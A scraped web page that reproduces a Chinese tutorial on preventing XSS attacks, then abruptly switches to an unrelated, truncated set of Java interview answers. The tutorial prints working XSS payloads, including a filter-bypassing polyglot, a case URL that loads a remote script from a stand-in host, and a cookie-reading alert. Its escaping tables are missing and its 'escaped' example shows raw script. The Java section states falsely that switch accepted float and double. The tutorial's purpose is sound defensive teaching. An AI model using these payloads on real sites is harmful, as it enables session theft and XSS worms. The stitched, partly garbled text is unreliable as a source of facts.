整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

「基本功」前端安全系列之一:如何防止XSS攻击?

当当当,我是美团技术团队的程序员鼓励师美美~“基本功”专栏又来新文章了,这次是一个系列,一起来学习前端安全的那些事。我们将不断梳理常见的前端安全问题以及对应的解决方案,希望可以帮助前端同学在日常开发中不断预防和修复安全漏洞,Enjoy Reading!


背景

随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点。在移动互联网时代,前端人员除了传统的 XSS、CSRF 等安全问题之外,又时常遭遇网络劫持、非法调用 Hybrid API 等新型安全问题。当然,浏览器自身也在不断在进化和发展,不断引入 CSP、Same-Site Cookies 等新技术来增强安全性,但是仍存在很多潜在的威胁,这需要前端技术人员不断进行“查漏补缺”。



前端安全

近几年,美团业务高速发展,前端随之面临很多安全挑战,因此积累了大量的实践经验。我们梳理了常见的前端安全问题以及对应的解决方案,将会做成一个系列,希望可以帮助前端同学在日常开发中不断预防和修复安全漏洞。本文是该系列的第一篇。

今天我们讲解一下 XSS ,主要包括:

  1. XSS 攻击的介绍
  2. XSS 攻击的分类
  3. XSS 攻击的预防和检测
  4. XSS 攻击的总结
  5. XSS 攻击案例

XSS攻击的介绍

在开始本文之前,我们先提出一个问题,请判断以下两个说法是否正确:

  1. XSS 防范是后端 RD (研发人员)的责任,后端 RD 应该在所有用户提交数据的接口,对敏感字符进行转义,才能进行下一步操作。
  2. 所有要插入到页面上的数据,都要通过一个敏感字符过滤函数的转义,过滤掉通用的敏感字符后,就可以插入到页面中。

如果你还不能确定答案,那么可以带着这些问题向下看,我们将逐步拆解问题。

XSS 漏洞的发生和修复

XSS 攻击是页面被注入了恶意的代码,为了更形象的介绍,我们用发生在小明同学身边的事例来进行说明。

一个案例

某天,公司需要一个搜索页面,根据 URL 参数决定关键词的内容。小明很快把页面写好并且上线。代码如下:

<input type="text" value="<%= getParameter("keyword") %>">
<button>搜索</button>
<div>
 您搜索的关键词是:<%= getParameter("keyword") %>
</div>

然而,在上线后不久,小明就接到了安全组发来的一个神秘链接:

http://xxx/search?keyword="><script>alert('XSS');</script>

小明带着一种不祥的预感点开了这个链接[请勿模仿,确认安全的链接才能点开]。果然,页面中弹出了写着"XSS"的对话框。

可恶,中招了!小明眉头一皱,发现了其中的奥秘:

当浏览器请求 http://xxx/search?keyword="><script>alert('XSS');</script> 时,服务端会解析出请求参数 keyword,得到 "><script>alert('XSS');</script>,拼接到 HTML 中返回给浏览器。形成了如下的 HTML:

<input type="text" value=""><script>alert('XSS');</script>">
<button>搜索</button>
<div>
 您搜索的关键词是:"><script>alert('XSS');</script>
</div>

浏览器无法分辨出 <script>alert('XSS');</script> 是恶意代码,因而将其执行。

这里不仅仅 div 的内容被注入了,而且 input 的 value 属性也被注入, alert 会弹出两次。

面对这种情况,我们应该如何进行防范呢?

其实,这只是浏览器把用户的输入当成了脚本进行了执行。那么只要告诉浏览器这段内容是文本就可以了。

聪明的小明很快找到解决方法,把这个漏洞修复:

<input type="text" value="<%= escapeHTML(getParameter("keyword")) %>">
<button>搜索</button>
<div>
 您搜索的关键词是:<%= escapeHTML(getParameter("keyword")) %>
</div>

escapeHTML() 按照如下规则进行转义:



经过了转义函数的处理后,最终浏览器接收到的响应为:

<input type="text" value=""><script>alert('XSS');</script>">
<button>搜索</button>
<div>
 您搜索的关键词是:"><script>alert('XSS');</script>
</div>

恶意代码都被转义,不再被浏览器执行,而且搜索词能够完美的在页面显示出来。

通过这个事件,小明学习到了如下知识:

  • 通常页面中包含的用户输入内容都在固定的容器或者属性内,以文本的形式展示。
  • 攻击者利用这些页面的用户输入片段,拼接特殊格式的字符串,突破原有位置的限制,形成了代码片段。
  • 攻击者通过在目标网站上注入脚本,使之在用户的浏览器上运行,从而引发潜在风险。
  • 通过 HTML 转义,可以防止 XSS 攻击。[事情当然没有这么简单啦!请继续往下看]。

注意特殊的 HTML 属性、JavaScript API

自从上次事件之后,小明会小心的把插入到页面中的数据进行转义。而且他还发现了大部分模板都带有的转义配置,让所有插入到页面中的数据都默认进行转义。这样就不怕不小心漏掉未转义的变量啦,于是小明的工作又渐渐变得轻松起来。

但是,作为导演的我,不可能让小明这么简单、开心地改 Bug 。

不久,小明又收到安全组的神秘链接:http://xxx/?redirect_to=javascript:alert('XSS')。小明不敢大意,赶忙点开页面。然而,页面并没有自动弹出万恶的“XSS”。

小明打开对应页面的源码,发现有以下内容:

<a href="<%= escapeHTML(getParameter("redirect_to")) %>">跳转...</a>

这段代码,当攻击 URL 为 http://xxx/?redirect_to=javascript:alert('XSS'),服务端响应就成了:

<a href="javascript:alert('XSS')">跳转...</a>

虽然代码不会立即执行,但一旦用户点击 a 标签时,浏览器会就会弹出alert('xss')。

可恶,又失策了…

在这里,用户的数据并没有在位置上突破我们的限制,仍然是正确的 href 属性。但其内容并不是我们所预期的类型。

原来不仅仅是特殊字符,连 javascript: 这样的字符串如果出现在特定的位置也会引发 XSS 攻击。

小明眉头一皱,想到了解决办法:

// 禁止 URL 以 "javascript:" 开头
xss = getParameter("redirect_to").startsWith('javascript:');
if (!xss) {
 <a href="<%= escapeHTML(getParameter("redirect_to"))%>">
 跳转...
 </a>
} else {
 <a href="/404">
 跳转...
 </a>
}

只要 URL 的开头不是 javascript:,就安全了吧?

安全组随手又扔了一个连接:http://xxx/?redirect_to=jAvascRipt:alert('XSS')

这也能执行?…..好吧,浏览器就是这么强大。

小明欲哭无泪,在判断 URL 开头是否为 javascript: 时,先把用户输入转成了小写,然后再进行比对。

不过,所谓“道高一尺,魔高一丈”。面对小明的防护策略,安全组就构造了这样一个连接:

http://xxx/?redirect_to=%20javascript:alert('XSS')

%20javascript:alert('XSS') 经过 URL 解析后变成 javascript:alert('XSS'),这个字符串以空格开头。这样攻击者可以绕过后端的关键词规则,又成功的完成了注入。

最终,小明选择了白名单的方法,彻底解决了这个漏洞:

// 根据项目情况进行过滤,禁止掉 "javascript:" 链接、非法 scheme 等
allowSchemes = ["http", "https"];
valid = isValid(getParameter("redirect_to"), allowSchemes);
if (valid) {
 <a href="<%= escapeHTML(getParameter("redirect_to"))%>">
 跳转...
 </a>
} else {
 <a href="/404">
 跳转...
 </a>
}

通过这个事件,小明学习到了如下知识:

  • 做了 HTML 转义,并不等于高枕无忧。
  • 对于链接跳转,如 <a href="xxx" 或 location.href="xxx",要检验其内容,禁止以 javascript: 开头的链接,和其他非法的 scheme。

根据上下文采用不同的转义规则

某天,小明为了加快网页的加载速度,把一个数据通过 JSON 的方式内联到 HTML 中:

<script>
var initData = <%= data.toJSON() %>
</script>

插入 JSON 的地方不能使用 escapeHTML(),因为转义 " 后,JSON 格式会被破坏。

但安全组又发现有漏洞,原来这样内联 JSON 也是不安全的:

  • 当 JSON 中包含 U+2028 或 U+2029 这两个字符时,不能作为 JavaScript 的字面量使用,否则会抛出语法错误。
  • 当 JSON 中包含字符串<script>时,当前的 script 标签将会被闭合,后面的字符串内容浏览器会按照 HTML 进行解析;通过增加下一个 <script> 标签等方法就可以完成注入。

于是我们又要实现一个 escapeEmbedJSON() 函数,对内联 JSON 进行转义。转义规则如下:



修复后的代码如下:

<script>
var initData = <%= escapeEmbedJSON(data.toJSON()) %>

通过这个事件,小明学习到了如下知识:

  • HTML 转义是非常复杂的,在不同的情况下要采用不同的转义规则。如果采用了错误的转义规则,很有可能会埋下 XSS 隐患。
  • 应当尽量避免自己写转义库,而应当采用成熟的、业界通用的转义库。


漏洞总结

小明的例子讲完了,下面我们来系统的看下 XSS 有哪些注入的方法:

  • 在 HTML 中内嵌的文本中,恶意内容以 script 标签形成注入。
  • 在内联的 JavaScript 中,拼接的数据突破了原本的限制(字符串,变量,方法名等)。
  • 在标签属性中,恶意内容包含引号,从而突破属性值的限制,注入其他属性或者标签。
  • 在标签的 href、src 等属性中,包含 javascript: 等可执行代码。
  • 在 onload、onerror、onclick 等事件中,注入不受控制代码。
  • 在 style 属性和标签中,包含类似 background-image:url("javascript:..."); 的代码(新版本浏览器已经可以防范)。
  • 在 style 属性和标签中,包含类似 expression(...) 的 CSS 表达式代码(新版本浏览器已经可以防范)。

总之,如果开发者没有将用户输入的文本进行合适的过滤,就贸然插入到 HTML 中,这很容易造成注入漏洞。攻击者可以利用漏洞,构造出恶意的代码指令,进而利用恶意代码危害数据安全。

XSS攻击的分类

通过上述几个例子,我们已经对 XSS 有了一些认识。

什么是 XSS

Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。

为了和 CSS 区分,这里把攻击的第一个字母改成了 X,于是叫做 XSS。

XSS 的本质是:恶意代码未经过滤,与网站正常的代码混在一起;浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行。

而由于直接在用户的终端执行,恶意代码能够直接获取用户的信息,或者利用这些信息冒充用户向网站发起攻击者定义的请求。

在部分情况下,由于输入的限制,注入的恶意脚本比较短。但可以通过引入外部的脚本,并由浏览器执行,来完成比较复杂的攻击策略。

这里有一个问题:用户是通过哪种方法“注入”恶意脚本的呢?

不仅仅是业务上的“用户的 UGC 内容”可以进行注入,包括 URL 上的参数等都可以是攻击的来源。在处理输入时,以下内容都不可信:

  • 来自用户的 UGC 信息
  • 来自第三方的链接
  • URL 参数
  • POST 参数
  • Referer (可能来自不可信的来源)
  • Cookie (可能来自其他子域注入)

XSS 分类

根据攻击的来源,XSS 攻击可分为存储型、反射型和 DOM 型三种。



  • 存储区:恶意代码存放的位置。
  • 插入点:由谁取得恶意代码,并插入到网页上。


存储型 XSS

存储型 XSS 的攻击步骤:

  1. 攻击者将恶意代码提交到目标网站的数据库中。
  2. 用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器。
  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  4. 在部分情况下,恶意代码加载外部的代码,用于执行更复杂的逻辑。
  5. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。

反射型 XSS

反射型 XSS 的攻击步骤:

  1. 攻击者构造出特殊的 URL,其中包含恶意代码。
  2. 用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。
  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  4. 在部分情况下,恶意代码加载外部的代码,用于执行更复杂的逻辑
  5. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。

反射型 XSS 漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等。

由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。

POST 的内容也可以触发反射型 XSS,只不过其触发条件比较苛刻(需要构造表单提交页面,并引导用户点击),所以非常少见。

DOM 型 XSS

DOM 型 XSS 的攻击步骤:

  1. 攻击者构造出特殊的 URL,其中包含恶意代码。
  2. 用户打开带有恶意代码的 URL。
  3. 用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。
  4. 在部分情况下,恶意代码加载外部的代码,用于执行更复杂的逻辑。
  5. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。

XSS攻击的预防

通过前面的介绍可以得知,XSS 攻击有两大要素:

  1. 攻击者提交恶意代码。
  2. 浏览器执行恶意代码。

针对第一个要素:我们是否能够在用户输入的过程,过滤掉用户输入的恶意代码呢?

输入过滤

在用户提交时,由前端过滤输入,然后提交到后端。这样做是否可行呢?

答案是不可行。一旦攻击者绕过前端过滤,直接构造请求,就可以提交恶意代码了。

那么,换一个过滤时机:后端在写入数据库前,对输入进行过滤,然后把“安全的”内容,返回给前端。这样是否可行呢?

我们举一个例子,一个正常的用户输入了 5 < 7 这个内容,在写入数据库前,被转义,变成了 5 < 7。

问题是:在提交阶段,我们并不确定内容要输出到哪里。

这里的“并不确定内容要输出到哪里”有两层含义:

  1. 用户的输入内容可能同时提供给前端和客户端,而一旦经过了 escapeHTML(),客户端显示的内容就变成了乱码( 5 < 7 )。
  2. 在前端中,不同的位置所需的编码也不同。
  • 当 5 < 7 作为 HTML 拼接页面时,可以正常显示:
  • <div title="comment">5 < 7</div>
  • 当 5 < 7 通过 Ajax 返回,然后赋值给 JavaScript 的变量时,前端得到的字符串就是转义后的字符。这个内容不能直接用于 Vue 等模板的展示,也不能直接用于内容长度计算。不能用于标题、alert 等。

所以,输入侧过滤能够在某些情况下解决特定的 XSS 问题,但会引入很大的不确定性和乱码问题。在防范 XSS 攻击时应避免此类方法。

当然,对于明确的输入类型,例如数字、URL、电话号码、邮件地址等等内容,进行输入过滤还是必要的。

既然输入过滤并非完全可靠,我们就要通过“防止浏览器执行恶意代码”来防范 XSS。这部分分为两类:

  • 防止 HTML 中出现注入。
  • 防止 JavaScript 执行时,执行恶意代码。


预防存储型和反射型 XSS 攻击

存储型和反射型 XSS 都是在服务端取出恶意代码后,插入到响应 HTML 里的,攻击者刻意编写的“数据”被内嵌到“代码”中,被浏览器所执行。

预防这两种漏洞,有两种常见做法:

  • 改成纯前端渲染,把代码和数据分隔开。
  • 对 HTML 做充分转义。

纯前端渲染

纯前端渲染的过程:

  1. 浏览器先加载一个静态 HTML,此 HTML 中不包含任何跟业务相关的数据。
  2. 然后浏览器执行 HTML 中的 JavaScript。
  3. JavaScript 通过 Ajax 加载业务数据,调用 DOM API 更新到页面上。

在纯前端渲染中,我们会明确的告诉浏览器:下面要设置的内容是文本(.innerText),还是属性(.setAttribute),还是样式(.style)等等。浏览器不会被轻易的被欺骗,执行预期外的代码了。

但纯前端渲染还需注意避免 DOM 型 XSS 漏洞(例如 onload 事件和 href 中的 javascript:xxx 等,请参考下文”预防 DOM 型 XSS 攻击“部分)。

在很多内部、管理系统中,采用纯前端渲染是非常合适的。但对于性能要求高,或有 SEO 需求的页面,我们仍然要面对拼接 HTML 的问题。

转义 HTML

如果拼接 HTML 是必要的,就需要采用合适的转义库,对 HTML 模板各处插入点进行充分的转义。

常用的模板引擎,如 doT.js、ejs、FreeMarker 等,对于 HTML 转义通常只有一个规则,就是把 & < > " ' / 这几个字符转义掉,确实能起到一定的 XSS 防护作用,但并不完善:



所以要完善 XSS 防护措施,我们要使用更完善更细致的转义策略。

例如 Java 工程里,常用的转义库为 org.owasp.encoder。以下代码引用自 org.owasp.encoder 的官方说明。

<!-- HTML 标签内文字内容 -->
<div><%= Encode.forHtml(UNTRUSTED) %></div>
<!-- HTML 标签属性值 -->
<input value="<%= Encode.forHtml(UNTRUSTED) %>" />
<!-- CSS 属性值 -->
<div style="width:<= Encode.forCssString(UNTRUSTED) %>">
<!-- CSS URL -->
<div style="background:<= Encode.forCssUrl(UNTRUSTED) %>">
<!-- JavaScript 内联代码块 -->
<script>
 var msg = "<%= Encode.forJavaScript(UNTRUSTED) %>";
 alert(msg);
</script>
<!-- JavaScript 内联代码块内嵌 JSON -->
<script>
var __INITIAL_STATE__ = JSON.parse('<%= Encoder.forJavaScript(data.to_json) %>');
</script>
<!-- HTML 标签内联监听器 -->
<button
 onclick="alert('<%= Encode.forJavaScript(UNTRUSTED) %>');">
 click me
</button>
<!-- URL 参数 -->
<a href="/search?value=<%= Encode.forUriComponent(UNTRUSTED) %>&order=1#top">
<!-- URL 路径 -->
<a href="/page/<%= Encode.forUriComponent(UNTRUSTED) %>">
<!--
 URL.
 注意:要根据项目情况进行过滤,禁止掉 "javascript:" 链接、非法 scheme 等
-->
<a href='<%=
 urlValidator.isValid(UNTRUSTED) ?
 Encode.forHtml(UNTRUSTED) :
 "/404"
%>'>
 link
</a>

可见,HTML 的编码是十分复杂的,在不同的上下文里要使用相应的转义规则。

预防 DOM 型 XSS 攻击

DOM 型 XSS 攻击,实际上就是网站前端 JavaScript 代码本身不够严谨,把不可信的数据当作代码执行了。

在使用 .innerHTML、.outerHTML、document.write() 时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 .textContent、.setAttribute() 等。

如果用 Vue/React 技术栈,并且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端 render 阶段避免 innerHTML、outerHTML 的 XSS 隐患。

DOM 中的内联事件监听器,如 location、onclick、onerror、onload、onmouseover 等,<a> 标签的 href 属性,JavaScript 的 eval()、setTimeout()、setInterval() 等,都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API,很容易产生安全隐患,请务必避免。

<!-- 内联事件监听器中包含恶意代码 -->
<img onclick="UNTRUSTED" onerror="UNTRUSTED" src="data:image/png,">
<!-- 链接内包含恶意代码 -->
<a href="UNTRUSTED">1</a>
<script>
// setTimeout()/setInterval() 中调用恶意代码
setTimeout("UNTRUSTED")
setInterval("UNTRUSTED")
// location 调用恶意代码
location.href = 'UNTRUSTED'
// eval() 中调用恶意代码
eval("UNTRUSTED")
</script>

如果项目中有用到这些的话,一定要避免在字符串中拼接不可信数据。

其他XSS防范措施

虽然在渲染页面和执行 JavaScript 时,通过谨慎的转义可以防止 XSS 的发生,但完全依靠开发的谨慎仍然是不够的。以下介绍一些通用的方案,可以降低 XSS 带来的风险和后果。

Content Security Policy

严格的 CSP 在 XSS 的防范中可以起到以下的作用:

  • 禁止加载外域代码,防止复杂的攻击逻辑。
  • 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
  • 禁止内联脚本执行(规则较严格,目前发现 github 使用)。
  • 禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
  • 合理使用上报可以及时发现 XSS,利于尽快修复问题。

关于 CSP 的详情,请关注前端安全系列后续的文章。

输入内容长度控制

对于不受信任的输入,都应该限定一个合理的长度。虽然无法完全防止 XSS 发生,但可以增加 XSS 攻击的难度。

其他安全措施

  • HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。
  • 验证码:防止脚本冒充用户提交危险操作。


XSS的检测

上述经历让小明收获颇丰,他也学会了如何去预防和修复 XSS 漏洞,在日常开发中也具备了相关的安全意识。但对于已经上线的代码,如何去检测其中有没有 XSS 漏洞呢?

经过一番搜索,小明找到了两个方法:

  1. 使用通用 XSS 攻击字符串手动检测 XSS 漏洞。
  2. 使用扫描工具自动检测 XSS 漏洞。

在Unleashing an Ultimate XSS Polyglot一文中,小明发现了这么一个字符串:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e


它能够检测到存在于 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等多种上下文中的 XSS 漏洞,也能检测 eval()、setTimeout()、setInterval()、Function()、innerHTML、document.write() 等 DOM 型 XSS 漏洞,并且能绕过一些 XSS 过滤器。

小明只要在网站的各输入框中提交这个字符串,或者把它拼接到 URL 参数上,就可以进行检测了。

http://xxx/search?keyword=jaVasCript%3A%2F*-%2F*%60%2F*%60%2F*%27%2F*%22%2F**%2F(%2F*%20*%2FoNcliCk%3Dalert()%20)%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--!%3E%3CsVg%2F%3CsVg%2FoNloAd%3Dalert()%2F%2F%3E%3E


除了手动检测之外,还可以使用自动扫描工具寻找 XSS 漏洞,例如 Arachni、Mozilla HTTP Observatory、w3af 等。

XSS攻击的总结

我们回到最开始提出的问题,相信同学们已经有了答案:

1. XSS 防范是后端 RD 的责任,后端 RD 应该在所有用户提交数据的接口,对敏感字符进行转义,才能进行下一步操作。

不正确。因为:防范存储型和反射型 XSS 是后端 RD 的责任。而 DOM 型 XSS 攻击不发生在后端,是前端 RD 的责任。防范 XSS 是需要后端 RD 和前端 RD 共同参与的系统工程。转义应该在输出 HTML 时进行,而不是在提交用户输入时。

2. 所有要插入到页面上的数据,都要通过一个敏感字符过滤函数的转义,过滤掉通用的敏感字符后,就可以插入到页面了。

不正确。不同的上下文,如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等,所需要的转义规则不一致。业务 RD 需要选取合适的转义库,并针对不同的上下文调用不同的转义规则。

整体的 XSS 防范是非常复杂和繁琐的,我们不仅需要在全部需要转义的位置,对数据进行对应的转义。而且要防止多余和错误的转义,避免正常的用户输入出现乱码。

虽然很难通过技术手段完全避免 XSS,但我们可以总结以下原则减少漏洞的产生:

  • 利用模板引擎
  • 开启模板引擎自带的 HTML 转义功能。例如:
  • 在 ejs 中,尽量使用 <%= data %> 而不是 <%- data %>;
  • 在 doT.js 中,尽量使用 {{! data } 而不是 {{= data };
  • 在 FreeMarker 中,确保引擎版本高于 2.3.24,并且选择正确的 freemarker.core.OutputFormat。
  • 避免内联事件
  • 尽量不要使用 onLoad="onload('{{data}}')"、onClick="go('{{action}}')" 这种拼接内联事件的写法。在 JavaScript 中通过 .addEventlistener() 事件绑定会更安全。
  • 避免拼接 HTML
  • 前端采用拼接 HTML 的方法比较危险,如果框架允许,使用 createElement、setAttribute 之类的方法实现。或者采用比较成熟的渲染框架,如 Vue/React 等。
  • 时刻保持警惕
  • 在插入位置为 DOM 属性、链接等位置时,要打起精神,严加防范。
  • 增加攻击难度,降低攻击后果
  • 通过 CSP、输入长度配置、接口安全措施等方法,增加攻击的难度,降低攻击的后果。
  • 主动检测和发现
  • 可使用 XSS 攻击字符串和自动扫描工具寻找潜在的 XSS 漏洞。


XSS攻击案例

QQ 邮箱 m.exmail.qq.com 域名反射型 XSS 漏洞

攻击者发现 http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb 这个 URL 的参数 uin、domain 未经转义直接输出到 HTML 中。

于是攻击者构建出一个 URL,并引导用户去点击:

http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B

用户点击这个 URL 时,服务端取出 URL 参数,拼接到 HTML 响应中:

<script>
getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa"+"&t="+"&d=bbbb";return false;</script><script>alert(document.cookie)</script>"+"...

浏览器接收到响应后就会执行 alert(document.cookie),攻击者通过 JavaScript 即可窃取当前用户在 QQ 邮箱域名下的 Cookie ,进而危害数据安全。

新浪微博名人堂反射型 XSS 漏洞

攻击者发现 http://weibo.com/pub/star/g/xyyyd 这个 URL 的内容未经过滤直接输出到 HTML 中。

于是攻击者构建出一个 URL,然后诱导用户去点击:

http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>

用户点击这个 URL 时,服务端取出请求 URL,拼接到 HTML 响应中:

<li><a href="http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>">按分类检索</a></li>


浏览器接收到响应后就会加载执行恶意脚本 //xxxx.cn/image/t.js,在恶意脚本中利用用户的登录状态进行关注、发微博、发私信等操作,发出的微博和私信可再带上攻击 URL,诱导更多人点击,不断放大攻击范围。这种窃用受害者身份发布恶意内容,层层放大攻击范围的方式,被称为“XSS 蠕虫”。

XSS攻击扩展阅读:Automatic Context-Aware Escaping

上文我们说到:

  1. 合适的 HTML 转义可以有效避免 XSS 漏洞。
  2. 完善的转义库需要针对上下文制定多种规则,例如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等等。
  3. 业务 RD 需要根据每个插入点所处的上下文,选取不同的转义规则。

通常,转义库是不能判断插入点上下文的(Not Context-Aware),实施转义规则的责任就落到了业务 RD 身上,需要每个业务 RD 都充分理解 XSS 的各种情况,并且需要保证每一个插入点使用了正确的转义规则。

这种机制工作量大,全靠人工保证,很容易造成 XSS 漏洞,安全人员也很难发现隐患。

2009年,Google 提出了一个概念叫做:Automatic Context-Aware Escaping。

所谓 Context-Aware,就是说模板引擎在解析模板字符串的时候,就解析模板语法,分析出每个插入点所处的上下文,据此自动选用不同的转义规则。这样就减轻了业务 RD 的工作负担,也减少了人为带来的疏漏。

在一个支持 Automatic Context-Aware Escaping 的模板引擎里,业务 RD 可以这样定义模板,而无需手动实施转义规则:

<html>
 <head>
 <meta charset="UTF-8">
 <title>{{.title}}</title>
 </head>
 <body>
 <a href="{{.url}}">{{.content}}</a>
 </body>
</html>

模板引擎经过解析后,得知三个插入点所处的上下文,自动选用相应的转义规则:

<html>
 <head>
 <meta charset="UTF-8">
 <title>{{.title | htmlescaper}}</title>
 </head>
 <body>
 <a href="{{.url | urlescaper | attrescaper}}">{{.content | htmlescaper}}</a>
 </body>
</html>

目前已经支持 Automatic Context-Aware Escaping 的模板引擎有:

  • go html/template
  • Google Closure Templates


课后作业:XSS攻击小游戏

以下是几个 XSS 攻击小游戏,开发者在网站上故意留下了一些常见的 XSS 漏洞。玩家在网页上提交相应的输入,完成 XSS 攻击即可通关。

在玩游戏的过程中,请各位读者仔细思考和回顾本文内容,加深对 XSS 攻击的理解。

alert(1) to win

prompt(1) to win

XSS game

参考文献

  • Wikipedia. Cross-site scripting, Wikipedia.
  • OWASP. XSS (Cross Site Scripting) Prevention Cheat Sheet_Prevention_Cheat_Sheet), OWASP.
  • OWASP. Use the OWASP Java Encoder-Use-the-OWASP-Java-Encoder), GitHub.
  • Ahmed Elsobky. Unleashing an Ultimate XSS Polyglot, GitHub.
  • Jad S. Boutros. Reducing XSS by way of Automatic Context-Aware Escaping in Template Systems, Google Security Blog.
  • Vue.js. v-html - Vue API docs, Vue.js.
  • React. dangerouslySetInnerHTML - DOM Elements, React.


下期预告

前端安全系列文章将对 XSS、CSRF、网络劫持、Hybrid 安全等安全议题展开论述。下期我们要讨论的是 CSRF 攻击,敬请期待。

作者介绍

李阳,美团点评前端工程师。2016年加入美团点评,负责美团外卖 Hybrid 页面性能优化相关工作。

欢迎加入美团前端安全技术交流群,跟作者零距离交流。请加美美同学的微信(微信号:MTDPtech01),回复:前端安全,美美会自动拉你进群。

、Java基础

1、Java中两种数据类型(为后面进一步提问做铺垫)

(1)基本数据类型,分为boolean、byte、int、char、long、short、double、float;
(2)引用数据类型 ,分为数组、类、接口。

扩展:Java中引入了基本数据类型,但是为了能够将这些基本数据类型当成对象操作,Java为每一个基本数据类型都引入了对应的包装类型(wrapper class),int的包装类就是Integer,从Java 5开始引入了自动装箱/拆箱机制,使得二者可以相互转换。

基本数据类型: boolean,char,byte,short,int,long,float,double

封装类类型: Boolean,Character,Byte,Short,Integer,Long,Float,Double

2、java中==和eqauls()的区别

==分两类分析,既可以比较基本类型也可以比较引用类型,对于基本类型来说是比较的数值。对于引用类型来说比较的内存地址值;equals是属于java.lang.Object类里面的方法,Object里的equals里默认的是双等于==。分两种情况讨论:一种是自定义类,看自定义类有没有重写equals方法,通常情况下,如果重写了equals则比较的是类中相应属性是否相等。如果没有重写equals方法,则仍然使用==比较的是地址。

总结、:

== :
  基本类型:比较值是否相等
  引用类型:比较的就是内存地址是否相同
equals :
  引用类型:默认情况下,比较的是地址值。可以进行重写,使其比较对象的值是否相等。

3、说说int和Integer有何区别

(1)Integer是int的包装类;int是基本数据类型;

(2)Integer变量必须实例化后才能使用;int变量不需要;

(3)Integer实际是对象的引用,指向此new的Integer对象;int是直接存储数据值 ;

(4)Integer的默认值是null;int的默认值是0。

4、switch中能否使用string类型的参数作为变量(涉及到jdk版本的理解)

在JDK1.7之前,switch只能支持byte、short、char、int、float、double或者其对应的封装类以及Enum类型。JDK1.7开始支持String。当字符串不会频繁改变时可以用枚举来代替String。

5、说明ArrayList和LinkedList的区别和优缺点,在哪些场景会使用?

区别:

(1)ArrayList是实现了基于动态数组的数据结构,LinkedList是基于链表结构;

(2)对于随机访问的get和set方法,ArrayList要优于LinkedList,因为LinkedList要移动指针;

(3)对于新增和删除操作add和remove,LinkedList比较占优势,因为ArrayList要移动数据;

各自优缺点:

(1)对ArrayList和LinkedList而言,在列表末尾增加一个元素所花的开销都是固定的。对ArrayList而言,主要是在内部数组中增加一项,指向所添加的元素,偶尔可能会导致对数组重新进行分配;而对LinkedList而言,这个开销是 统一的,分配一个内部Entry对象。

(2)在ArrayList集合中添加或者删除一个元素时,当前的列表移动元素后面所有的元素都会被移动。而LinkedList集合中添加或者删除一个元素的开销是固定的。

(3)LinkedList集合不支持 高效的随机随机访问(RandomAccess),因为可能产生二次项的行为。

(4)ArrayList的空间浪费主要体现在在list列表的结尾预留一定的容量空间,而LinkedList的空间花费则体现在它的每一个元素都需要消耗相当的空间。

应用场景:

ArrayList使用在查询比较多,但是插入和删除比较少的情况,而LinkedList用在查询比较少而插入删除比较多的情况

6、实现多线程的几种方式,多线程的应用场景有哪些?

(1)、继承Thread类,重写run方法

(2)、实现Runnable接口,重写run方法。【可以避免由于Java的单继承特性而带来的局限。适合多个线程去处理同一资源的情况】

(3)、实现Callable接口,重写call方法。【有返回值,允许抛出异常】

(4)、使用线程池【减少创建新线程的时间,重复利用线程池中线程,降低资源消耗,可有返回值】

7、${}和#{}的区别

使用#{}:

